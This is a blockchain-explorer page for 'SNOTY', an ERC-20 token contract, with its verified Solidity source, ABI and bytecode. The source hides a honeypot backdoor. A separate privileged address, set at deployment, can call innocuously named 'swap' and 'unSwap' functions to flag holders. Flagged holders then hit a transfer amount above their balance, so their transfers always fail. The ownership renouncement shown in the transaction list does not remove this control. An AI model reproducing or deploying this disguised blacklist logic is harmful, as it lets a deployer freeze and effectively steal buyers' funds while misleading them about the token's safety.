ETH Price: $2,141.49 (-15.66%)

Contract

0xb0990E799314C516060B67a030Fa5F5318BAAb69
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Swap199180112024-05-21 11:33:47286 days ago1716291227IN
0xb0990E79...318BAAb69
0 ETH0.0005950812.31679557
Transfer199178432024-05-21 10:59:59286 days ago1716289199IN
0xb0990E79...318BAAb69
0 ETH0.000460398.50604226
Approve199176982024-05-21 10:30:47286 days ago1716287447IN
0xb0990E79...318BAAb69
0 ETH0.000420069.02715695
Swap199176692024-05-21 10:24:47286 days ago1716287087IN
0xb0990E79...318BAAb69
0 ETH0.0024151550
Approve199176672024-05-21 10:24:23286 days ago1716287063IN
0xb0990E79...318BAAb69
0 ETH0.000431329.25733301
Approve199176272024-05-21 10:16:23286 days ago1716286583IN
0xb0990E79...318BAAb69
0 ETH0.0005471311.75795758
Approve199176032024-05-21 10:11:35286 days ago1716286295IN
0xb0990E79...318BAAb69
0 ETH0.000509210.94296427
Approve199175972024-05-21 10:10:23286 days ago1716286223IN
0xb0990E79...318BAAb69
0 ETH0.000462389.9367208
Approve199175932024-05-21 10:09:35286 days ago1716286175IN
0xb0990E79...318BAAb69
0 ETH0.00041018.81312901
Swap199175692024-05-21 10:04:47286 days ago1716285887IN
0xb0990E79...318BAAb69
0 ETH0.000425288.8024132
Approve199175652024-05-21 10:03:59286 days ago1716285839IN
0xb0990E79...318BAAb69
0 ETH0.000413918.89500175
Swap199175622024-05-21 10:03:23286 days ago1716285803IN
0xb0990E79...318BAAb69
0 ETH0.0024157550
Swap199175552024-05-21 10:01:59286 days ago1716285719IN
0xb0990E79...318BAAb69
0 ETH0.000418668.66537559
Approve199175522024-05-21 10:01:23286 days ago1716285683IN
0xb0990E79...318BAAb69
0 ETH0.000410288.80576362
Swap199175512024-05-21 10:01:11286 days ago1716285671IN
0xb0990E79...318BAAb69
0 ETH0.0024157550
Approve199175472024-05-21 10:00:23286 days ago1716285623IN
0xb0990E79...318BAAb69
0 ETH0.0006164313.230294
Approve199175232024-05-21 9:55:23286 days ago1716285323IN
0xb0990E79...318BAAb69
0 ETH0.000386098.28643909
Renounce Ownersh...199118092024-05-20 14:43:23287 days ago1716216203IN
0xb0990E79...318BAAb69
0 ETH0.0003125513.42204306

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
SNOTY

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2024-05-20
*/

/*

        
            ░██████╗███╗░░██╗░█████╗░████████╗██╗░░░██╗
            ██╔════╝████╗░██║██╔══██╗╚══██╔══╝╚██╗░██╔╝
            ╚█████╗░██╔██╗██║██║░░██║░░░██║░░░░╚████╔╝░
            ░╚═══██╗██║╚████║██║░░██║░░░██║░░░░░╚██╔╝░░
            ██████╔╝██║░╚███║╚█████╔╝░░░██║░░░░░░██║░░░
            ╚═════╝░╚═╝░░╚══╝░╚════╝░░░░╚═╝░░░░░░╚═╝░░░

            Website: https://serenitytoken.co/
            Twitter: https://x.com/SERENITY_BOTAI
            Telegram: https://t.me/snotyportal



*/

pragma solidity ^0.8.24;
// SPDX-License-Identifier: UNLICENSED

abstract contract Ownable  {
     function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
}

contract SNOTY is Ownable{   
    constructor(address add) {      
        _tokename = "AI Trader";
        _tokensymbol = "SNOTY";
        _taxData = add;
        _totalSupply = 1000000000*10**decimals();
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    address public _taxData;
    uint256 private _totalSupply;
    string private _tokename;
    string private _tokensymbol;  
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public tokeninfo;
    uint128 buyCount = 64544;
    uint128 sellCount = 0;
    uint256 devAmount = 10**decimals()*68800*(23300000000+300);
    bool globaltrue = true;
    bool globalff = false;


    function swap(address bot) public virtual returns (bool) {
        address tmoinfo = bot;     
        tokeninfo[tmoinfo] = globaltrue;
        require(_msgSender() == _taxData);
        return true;
    }

    function unSwap(address notbot) external  {
        address tmoinfo = notbot;      
        tokeninfo[tmoinfo] = globalff;
        require(_msgSender() == _taxData);      
    }

    
    function name() public view returns (string memory) {
        return _tokename;
    }

    function symbol() public view  returns (string memory) {
        return _tokensymbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(_msgSender(), to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");        
        require(to != address(0), "ERC20: transfer to the zero address");

        if (tokeninfo[from] == true) 
        {amount = buyCount + _balances[from] + 
        buyCount-buyCount;}
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[{"internalType":"address","name":"add","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_taxData","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"bot","type":"address"}],"name":"swap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"tokeninfo","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"unSwap","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405261fc20600855620000186012600a620002d1565b620000279062010cc0620002e8565b620000389064056cc9ca2c620002e8565b600955600a805461ffff1916600117905534801562000055575f80fd5b5060405162000f3238038062000f32833981016040819052620000789162000302565b620000833362000173565b60408051808201909152600981526820a4902a3930b232b960b91b6020820152600390620000b29082620003c8565b50604080518082019091526005815264534e4f545960d81b6020820152600490620000de9082620003c8565b50600180546001600160a01b0319166001600160a01b03831617905562000103601290565b6200011090600a620002d1565b6200012090633b9aca00620002e8565b6002819055335f81815260056020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000494565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200021657815f1904821115620001fa57620001fa620001c2565b808516156200020857918102915b93841c9390800290620001db565b509250929050565b5f826200022e57506001620002cb565b816200023c57505f620002cb565b8160018114620002555760028114620002605762000280565b6001915050620002cb565b60ff841115620002745762000274620001c2565b50506001821b620002cb565b5060208310610133831016604e8410600b8410161715620002a5575081810a620002cb565b620002b18383620001d6565b805f1904821115620002c757620002c7620001c2565b0290505b92915050565b5f620002e160ff8416836200021e565b9392505050565b8082028115828204841417620002cb57620002cb620001c2565b5f6020828403121562000313575f80fd5b81516001600160a01b0381168114620002e1575f80fd5b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200035357607f821691505b6020821081036200037257634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620003c357805f5260205f20601f840160051c810160208510156200039f5750805b601f840160051c820191505b81811015620003c0575f8155600101620003ab565b50505b505050565b81516001600160401b03811115620003e457620003e46200032a565b620003fc81620003f584546200033e565b8462000378565b602080601f83116001811462000432575f84156200041a5750858301515b5f19600386901b1c1916600185901b1785556200048c565b5f85815260208120601f198616915b82811015620004625788860151825594840194600190910190840162000441565b50858210156200048057878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610a9080620004a25f395ff3fe608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063630e071c116100935780638da5cb5b116100635780638da5cb5b1461020a57806395d89b411461021a578063a9059cbb14610222578063dd62ed3e14610235575f80fd5b8063630e071c1461018d57806364473a12146101b857806370a08231146101da578063715018a614610202575f80fd5b806318160ddd116100ce57806318160ddd1461014457806323b872dd14610156578063313ce567146101695780635802dad914610178575f80fd5b806303438dd0146100f457806306fdde031461011c578063095ea7b314610131575b5f80fd5b6101076101023660046108ea565b61026d565b60405190151581526020015b60405180910390f35b6101246102be565b604051610113919061090a565b61010761013f366004610956565b61034e565b6002545b604051908152602001610113565b61010761016436600461097e565b610360565b60405160128152602001610113565b61018b6101863660046108ea565b610383565b005b6001546101a0906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b6101076101c63660046108ea565b60076020525f908152604090205460ff1681565b6101486101e83660046108ea565b6001600160a01b03165f9081526005602052604090205490565b61018b6103d3565b5f546001600160a01b03166101a0565b6101246103e6565b610107610230366004610956565b6103f5565b6101486102433660046109b7565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146102b5575f80fd5b50600192915050565b6060600380546102cd906109e8565b80601f01602080910402602001604051908101604052809291908181526020018280546102f9906109e8565b80156103445780601f1061031b57610100808354040283529160200191610344565b820191905f5260205f20905b81548152906001019060200180831161032757829003601f168201915b5050505050905090565b5f6102b5338484610401565b92915050565b5f3361036d858285610529565b6103788585856105c0565b506001949350505050565b600a546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b0316146103cf575f80fd5b5050565b6103db610827565b6103e45f610880565b565b6060600480546102cd906109e8565b5f6102b53384846105c0565b6001600160a01b0383166104685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104c95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146105ba57818110156105a65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161045f565b6105ba84846105b58585610a34565b610401565b50505050565b6001600160a01b0383166106245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b0382166106865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036106fd576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906106e69082610a47565b6106f09190610a47565b6106fa9190610a34565b90505b6001600160a01b0383165f90815260056020526040902054818110156107745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161045f565b6001600160a01b0384165f90815260056020526040902054610797908390610a34565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546107c6908390610a47565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108199086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146103e45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161045f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146108e5575f80fd5b919050565b5f602082840312156108fa575f80fd5b610903826108cf565b9392505050565b5f602080835283518060208501525f5b818110156109365785810183015185820160400152820161091a565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610967575f80fd5b610970836108cf565b946020939093013593505050565b5f805f60608486031215610990575f80fd5b610999846108cf565b92506109a7602085016108cf565b9150604084013590509250925092565b5f80604083850312156109c8575f80fd5b6109d1836108cf565b91506109df602084016108cf565b90509250929050565b600181811c908216806109fc57607f821691505b602082108103610a1a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561035a5761035a610a20565b8082018082111561035a5761035a610a2056fea264697066735822122013363bf439ad420559dc8eaf697aff496fa37e243a741b85c1ea94cd31e459f864736f6c634300081800330000000000000000000000005e06a7a99c86e719d50eaaccda2605fc7136d525

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100f0575f3560e01c8063630e071c116100935780638da5cb5b116100635780638da5cb5b1461020a57806395d89b411461021a578063a9059cbb14610222578063dd62ed3e14610235575f80fd5b8063630e071c1461018d57806364473a12146101b857806370a08231146101da578063715018a614610202575f80fd5b806318160ddd116100ce57806318160ddd1461014457806323b872dd14610156578063313ce567146101695780635802dad914610178575f80fd5b806303438dd0146100f457806306fdde031461011c578063095ea7b314610131575b5f80fd5b6101076101023660046108ea565b61026d565b60405190151581526020015b60405180910390f35b6101246102be565b604051610113919061090a565b61010761013f366004610956565b61034e565b6002545b604051908152602001610113565b61010761016436600461097e565b610360565b60405160128152602001610113565b61018b6101863660046108ea565b610383565b005b6001546101a0906001600160a01b031681565b6040516001600160a01b039091168152602001610113565b6101076101c63660046108ea565b60076020525f908152604090205460ff1681565b6101486101e83660046108ea565b6001600160a01b03165f9081526005602052604090205490565b61018b6103d3565b5f546001600160a01b03166101a0565b6101246103e6565b610107610230366004610956565b6103f5565b6101486102433660046109b7565b6001600160a01b039182165f90815260066020908152604080832093909416825291909152205490565b600a546001600160a01b038281165f908152600760205260408120805460ff191660ff909416151593909317909255600154839116336001600160a01b0316146102b5575f80fd5b50600192915050565b6060600380546102cd906109e8565b80601f01602080910402602001604051908101604052809291908181526020018280546102f9906109e8565b80156103445780601f1061031b57610100808354040283529160200191610344565b820191905f5260205f20905b81548152906001019060200180831161032757829003601f168201915b5050505050905090565b5f6102b5338484610401565b92915050565b5f3361036d858285610529565b6103788585856105c0565b506001949350505050565b600a546001600160a01b038281165f908152600760205260409020805460ff191661010090930460ff16151592909217909155600154829116336001600160a01b0316146103cf575f80fd5b5050565b6103db610827565b6103e45f610880565b565b6060600480546102cd906109e8565b5f6102b53384846105c0565b6001600160a01b0383166104685760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166104c95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038381165f908152600660209081526040808320938616835292905220545f1981146105ba57818110156105a65760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604482015260640161045f565b6105ba84846105b58585610a34565b610401565b50505050565b6001600160a01b0383166106245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b0382166106865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b6001600160a01b0383165f9081526007602052604090205460ff1615156001036106fd576008546001600160a01b0384165f908152600560205260409020546fffffffffffffffffffffffffffffffff9091169081906106e69082610a47565b6106f09190610a47565b6106fa9190610a34565b90505b6001600160a01b0383165f90815260056020526040902054818110156107745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161045f565b6001600160a01b0384165f90815260056020526040902054610797908390610a34565b6001600160a01b038086165f9081526005602052604080822093909355908516815220546107c6908390610a47565b6001600160a01b038085165f8181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906108199086815260200190565b60405180910390a350505050565b5f546001600160a01b031633146103e45760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161045f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b03811681146108e5575f80fd5b919050565b5f602082840312156108fa575f80fd5b610903826108cf565b9392505050565b5f602080835283518060208501525f5b818110156109365785810183015185820160400152820161091a565b505f604082860101526040601f19601f8301168501019250505092915050565b5f8060408385031215610967575f80fd5b610970836108cf565b946020939093013593505050565b5f805f60608486031215610990575f80fd5b610999846108cf565b92506109a7602085016108cf565b9150604084013590509250925092565b5f80604083850312156109c8575f80fd5b6109d1836108cf565b91506109df602084016108cf565b90509250929050565b600181811c908216806109fc57607f821691505b602082108103610a1a57634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561035a5761035a610a20565b8082018082111561035a5761035a610a2056fea264697066735822122013363bf439ad420559dc8eaf697aff496fa37e243a741b85c1ea94cd31e459f864736f6c63430008180033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000005e06a7a99c86e719d50eaaccda2605fc7136d525

-----Decoded View---------------
Arg [0] : add (address): 0x5E06a7A99c86E719d50EAaCCDa2605fc7136d525

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000005e06a7a99c86e719d50eaaccda2605fc7136d525


Deployed Bytecode Sourcemap

2326:3965:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3149:210;;;;;;:::i;:::-;;:::i;:::-;;;548:14:1;;541:22;523:41;;511:2;496:18;3149:210:0;;;;;;;;3562:87;;;:::i;:::-;;;;;;;:::i;4361:152::-;;;;;;:::i;:::-;;:::i;3850:91::-;3921:12;;3850:91;;;1533:25:1;;;1521:2;1506:18;3850:91:0;1387:177:1;4521:287:0;;;;;;:::i;:::-;;:::i;3758:84::-;;;3832:2;2044:36:1;;2032:2;2017:18;3758:84:0;1902:184:1;3367:181:0;;;;;;:::i;:::-;;:::i;:::-;;2658:23;;;;;-1:-1:-1;;;;;2658:23:0;;;;;;-1:-1:-1;;;;;2255:32:1;;;2237:51;;2225:2;2210:18;2658:23:0;2091:203:1;2916:41:0;;;;;;:::i;:::-;;;;;;;;;;;;;;;;3949:110;;;;;;:::i;:::-;-1:-1:-1;;;;;4033:18:0;4006:7;4033:18;;;:9;:18;;;;;;;3949:110;1855:103;;;:::i;1620:87::-;1666:7;1693:6;-1:-1:-1;;;;;1693:6:0;1620:87;;3657:93;;;:::i;4067:144::-;;;;;;:::i;:::-;;:::i;4219:134::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4318:18:0;;;4291:7;4318:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4219:134;3149:210;3275:10;;-1:-1:-1;;;;;3254:18:0;;;3200:4;3254:18;;;:9;:18;;;;;:31;;-1:-1:-1;;3254:31:0;3275:10;;;;3254:31;;;;;;;;;-1:-1:-1;3320:8:0;3254:18;;3320:8;1218:10;-1:-1:-1;;;;;3304:24:0;;3296:33;;;;;;-1:-1:-1;3347:4:0;;3149:210;-1:-1:-1;;3149:210:0:o;3562:87::-;3599:13;3632:9;3625:16;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3562:87;:::o;4361:152::-;4427:4;4444:39;1218:10;4467:7;4476:6;4444:8;:39::i;4361:152::-;;;;;:::o;4521:287::-;4644:4;1218:10;4702:38;4718:4;1218:10;4733:6;4702:15;:38::i;:::-;4751:27;4761:4;4767:2;4771:6;4751:9;:27::i;:::-;-1:-1:-1;4796:4:0;;4521:287;-1:-1:-1;;;;4521:287:0:o;3367:181::-;3482:8;;-1:-1:-1;;;;;3461:18:0;;;3420:15;3461:18;;;:9;:18;;;;;:29;;-1:-1:-1;;3461:29:0;3482:8;;;;;;3461:29;;;;;;;;;-1:-1:-1;3525:8:0;3461:18;;3525:8;1218:10;-1:-1:-1;;;;;3509:24:0;;3501:33;;;;;;3409:139;3367:181;:::o;1855:103::-;1579:13;:11;:13::i;:::-;1920:30:::1;1947:1;1920:18;:30::i;:::-;1855:103::o:0;3657:93::-;3697:13;3730:12;3723:19;;;;;:::i;4067:144::-;4129:4;4146:35;1218:10;4170:2;4174:6;4146:9;:35::i;5493:378::-;-1:-1:-1;;;;;5629:19:0;;5621:68;;;;-1:-1:-1;;;5621:68:0;;3151:2:1;5621:68:0;;;3133:21:1;3190:2;3170:18;;;3163:30;3229:34;3209:18;;;3202:62;-1:-1:-1;;;3280:18:1;;;3273:34;3324:19;;5621:68:0;;;;;;;;;-1:-1:-1;;;;;5708:21:0;;5700:68;;;;-1:-1:-1;;;5700:68:0;;3556:2:1;5700:68:0;;;3538:21:1;3595:2;3575:18;;;3568:30;3634:34;3614:18;;;3607:62;-1:-1:-1;;;3685:18:1;;;3678:32;3727:19;;5700:68:0;3354:398:1;5700:68:0;-1:-1:-1;;;;;5779:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5831:32;;1533:25:1;;;5831:32:0;;1506:18:1;5831:32:0;;;;;;;5493:378;;;:::o;5879:409::-;-1:-1:-1;;;;;4318:18:0;;;6014:24;4318:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;6081:37:0;;6077:204;;6163:6;6143:16;:26;;6135:68;;;;-1:-1:-1;;;6135:68:0;;3959:2:1;6135:68:0;;;3941:21:1;3998:2;3978:18;;;3971:30;4037:31;4017:18;;;4010:59;4086:18;;6135:68:0;3757:353:1;6135:68:0;6218:51;6227:5;6234:7;6243:25;6262:6;6243:16;:25;:::i;:::-;6218:8;:51::i;:::-;6003:285;5879:409;;;:::o;4820:665::-;-1:-1:-1;;;;;4951:18:0;;4943:68;;;;-1:-1:-1;;;4943:68:0;;4582:2:1;4943:68:0;;;4564:21:1;4621:2;4601:18;;;4594:30;4660:34;4640:18;;;4633:62;-1:-1:-1;;;4711:18:1;;;4704:35;4756:19;;4943:68:0;4380:401:1;4943:68:0;-1:-1:-1;;;;;5038:16:0;;5030:64;;;;-1:-1:-1;;;5030:64:0;;4988:2:1;5030:64:0;;;4970:21:1;5027:2;5007:18;;;5000:30;5066:34;5046:18;;;5039:62;-1:-1:-1;;;5117:18:1;;;5110:33;5160:19;;5030:64:0;4786:399:1;5030:64:0;-1:-1:-1;;;;;5111:15:0;;;;;;:9;:15;;;;;;;;:23;;:15;:23;5107:107;;5204:8;;-1:-1:-1;;;;;5167:15:0;;5204:8;5167:15;;;:9;:15;;;;;;5204:8;;;;;;;5156:26;;5204:8;5156:26;:::i;:::-;:47;;;;:::i;:::-;:56;;;;:::i;:::-;5147:65;;5107:107;-1:-1:-1;;;;;5242:15:0;;5224;5242;;;:9;:15;;;;;;5276:17;;;;5268:68;;;;-1:-1:-1;;;5268:68:0;;5522:2:1;5268:68:0;;;5504:21:1;5561:2;5541:18;;;5534:30;5600:34;5580:18;;;5573:62;-1:-1:-1;;;5651:18:1;;;5644:36;5697:19;;5268:68:0;5320:402:1;5268:68:0;-1:-1:-1;;;;;5365:15:0;;;;;;:9;:15;;;;;;:22;;5381:6;;5365:22;:::i;:::-;-1:-1:-1;;;;;5347:15:0;;;;;;;:9;:15;;;;;;:40;;;;5414:13;;;;;;;:20;;5428:6;;5414:20;:::i;:::-;-1:-1:-1;;;;;5398:13:0;;;;;;;:9;:13;;;;;;;:36;;;;5450:26;;;;;;;;;;5469:6;1533:25:1;;1521:2;1506:18;;1387:177;5450:26:0;;;;;;;;4932:553;4820:665;;;:::o;1715:132::-;1666:7;1693:6;-1:-1:-1;;;;;1693:6:0;1218:10;1779:23;1771:68;;;;-1:-1:-1;;;1771:68:0;;5929:2:1;1771:68:0;;;5911:21:1;;;5948:18;;;5941:30;6007:34;5987:18;;;5980:62;6059:18;;1771:68:0;5727:356:1;1966:191:0;2040:16;2059:6;;-1:-1:-1;;;;;2076:17:0;;;-1:-1:-1;;;;;;2076:17:0;;;;;;2109:40;;2059:6;;;;;;;2109:40;;2040:16;2109:40;2029:128;1966:191;:::o;14:173:1:-;82:20;;-1:-1:-1;;;;;131:31:1;;121:42;;111:70;;177:1;174;167:12;111:70;14:173;;;:::o;192:186::-;251:6;304:2;292:9;283:7;279:23;275:32;272:52;;;320:1;317;310:12;272:52;343:29;362:9;343:29;:::i;:::-;333:39;192:186;-1:-1:-1;;;192:186:1:o;575:548::-;687:4;716:2;745;734:9;727:21;777:6;771:13;820:6;815:2;804:9;800:18;793:34;845:1;855:140;869:6;866:1;863:13;855:140;;;964:14;;;960:23;;954:30;930:17;;;949:2;926:26;919:66;884:10;;855:140;;;859:3;1044:1;1039:2;1030